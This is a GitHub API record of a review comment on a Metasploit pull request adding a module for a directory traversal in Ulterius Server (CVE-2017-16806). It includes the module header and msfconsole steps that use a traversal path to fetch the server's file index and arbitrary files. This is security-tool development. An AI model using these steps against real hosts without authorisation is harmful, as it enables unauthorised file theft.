{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/166589737","pull_request_review_id":94672290,"id":166589737,"diff_hunk":"@@ -0,0 +1,88 @@\n+require 'zlib'\n+require 'stringio'\n+\n+class MetasploitModule < Msf::Auxiliary\n+  #Rank = ExcellentRanking\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Ulterius Server File Download Vulnerability',\n+      'Description'    => %q{\n+        This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0\n+        to download files from the affected host. A valid file path is needed to download a file.\n+        Fortunately, Ulterius indexes every file on the system, which can be stored in the\n+        following location:\n+\n+          http://ulteriusURL:port/.../fileIndex.db.\n+\n+        This module can download and parse the fileIndex.db file. There is also an option to\n+        download a file using a provided path.\n+      },\n+      'Author'         =>\n+        [\n+          'Rick Osgood',   # Vulnerability discovery and PoC\n+          'Jacob Robles'   # Metasploit module\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'References'     =>\n+        [\n+          [ 'EDB', '43141' ],\n+          [ 'CVE', '2017-16806' ]\n+        ]))\n+\n+      register_options(\n+        [\n+          Opt::RPORT(22006),\n+          OptString.new('TARGETURI', [true, 'The path of the web application', '/']),","path":"modules/auxiliary/admin/http/ulterius_file_download.rb","position":37,"original_position":37,"commit_id":"1233bb855c4a98154af202bceb2a67e0ff6852a7","original_commit_id":"1233bb855c4a98154af202bceb2a67e0ff6852a7","user":{"login":"h00die","id":752491,"avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"body":"This part feels a bit clumsy to me.  Typically (for a webapp) youd use targeturi to give a diff uri, however since this is a vuln in a web server, its the actual path to the file you wish to download.  Maybe a name change or description change would make it more obvious","created_at":"2018-02-07T11:27:03Z","updated_at":"2018-02-07T11:31:14Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9509#discussion_r166589737","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/166589737"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9509#discussion_r166589737"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509","id":167320504,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9509","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9509.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9509.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9509","number":9509,"state":"open","locked":false,"title":"Ulterius Server < v1.9.5.0 Directory Traversal","user":{"login":"jrobles-r7","id":23102036,"avatar_url":"https://avatars3.githubusercontent.com/u/23102036?v=4","gravatar_id":"","url":"https://api.github.com/users/jrobles-r7","html_url":"https://github.com/jrobles-r7","followers_url":"https://api.github.com/users/jrobles-r7/followers","following_url":"https://api.github.com/users/jrobles-r7/following{/other_user}","gists_url":"https://api.github.com/users/jrobles-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jrobles-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrobles-r7/subscriptions","organizations_url":"https://api.github.com/users/jrobles-r7/orgs","repos_url":"https://api.github.com/users/jrobles-r7/repos","events_url":"https://api.github.com/users/jrobles-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jrobles-r7/received_events","type":"User","site_admin":false},"body":"This PR adds a module for a directory traversal vulnerability in Ulterius Server < v1.9.5.0.\r\n\r\n## Verification Steps\r\n\r\n- [ ] Install Ulterius Server < v1.9.5.0\r\n- [ ] `./msfconsole`\r\n- [ ] `use auxiliary/admin/http/ulterius_file_download`\r\n- [ ] `set index true`\r\n- [ ] `set targeturi '/…/fileIndex.db'`\r\n- [ ] `set rhost <rhost>`\r\n- [ ] `run`\r\n- [ ] Verify loot contains file system paths from remote file system.\r\n- [ ] `set index false`\r\n- [ ] `set targeturi '/C:/<path>/<to>/<file>'`\r\n- [ ] `run`\r\n- [ ] Verify contents of file\r\n","created_at":"2018-02-06T04:56:16Z","updated_at":"2018-02-07T11:31:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"526f6ce3e79307ea3c3087f5fc3304c031628c9c","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9509/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/1233bb855c4a98154af202bceb2a67e0ff6852a7","head":{"label":"jrobles-r7:ulterius_file_download","ref":"ulterius_file_download","sha":"1233bb855c4a98154af202bceb2a67e0ff6852a7","user":{"login":"jrobles-r7","id":23102036,"avatar_url":"https://avatars3.githubusercontent.com/u/23102036?v=4","gravatar_id":"","url":"https://api.github.com/users/jrobles-r7","html_url":"https://github.com/jrobles-r7","followers_url":"https://api.github.com/users/jrobles-r7/followers","following_url":"https://api.github.com/users/jrobles-r7/following{/other_user}","gists_url":"https://api.github.com/users/jrobles-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jrobles-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrobles-r7/subscriptions","organizations_url":"https://api.github.com/users/jrobles-r7/orgs","repos_url":"https://api.github.com/users/jrobles-r7/repos","events_url":"https://api.github.com/users/jrobles-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jrobles-r7/received_events","type":"User","site_admin":false},"repo":{"id":112199563,"name":"metasploit-framework","full_name":"jrobles-r7/metasploit-framework","owner":{"login":"jrobles-r7","id":23102036,"avatar_url":"https://avatars3.githubusercontent.com/u/23102036?v=4","gravatar_id":"","url":"https://api.github.com/users/jrobles-r7","html_url":"https://github.com/jrobles-r7","followers_url":"https://api.github.com/users/jrobles-r7/followers","following_url":"https://api.github.com/users/jrobles-r7/following{/other_user}","gists_url":"https://api.github.com/users/jrobles-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jrobles-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrobles-r7/subscriptions","organizations_url":"https://api.github.com/users/jrobles-r7/orgs","repos_url":"https://api.github.com/users/jrobles-r7/repos","events_url":"https://api.github.com/users/jrobles-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jrobles-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jrobles-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jrobles-r7/metasploit-framework","forks_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/jrobles-r7/metasploit-framework/deployments","created_at":"2017-11-27T13:27:18Z","updated_at":"2017-11-27T13:27:40Z","pushed_at":"2018-02-06T04:54:30Z","git_url":"git://github.com/jrobles-r7/metasploit-framework.git","ssh_url":"git@github.com:jrobles-r7/metasploit-framework.git","clone_url":"https://github.com/jrobles-r7/metasploit-framework.git","svn_url":"https://github.com/jrobles-r7/metasploit-framework","homepage":"https://www.metasploit.com/","size":331618,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"6721b79526b6b96f4803c17351d4a9d676178722","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-02-07T11:17:19Z","pushed_at":"2018-02-07T07:42:39Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":331804,"stargazers_count":11181,"watchers_count":11181,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6385,"mirror_url":null,"archived":false,"open_issues_count":484,"license":null,"forks":6385,"open_issues":484,"watchers":11181,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9509"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9509"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9509/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9509/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/1233bb855c4a98154af202bceb2a67e0ff6852a7"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"h00die"}}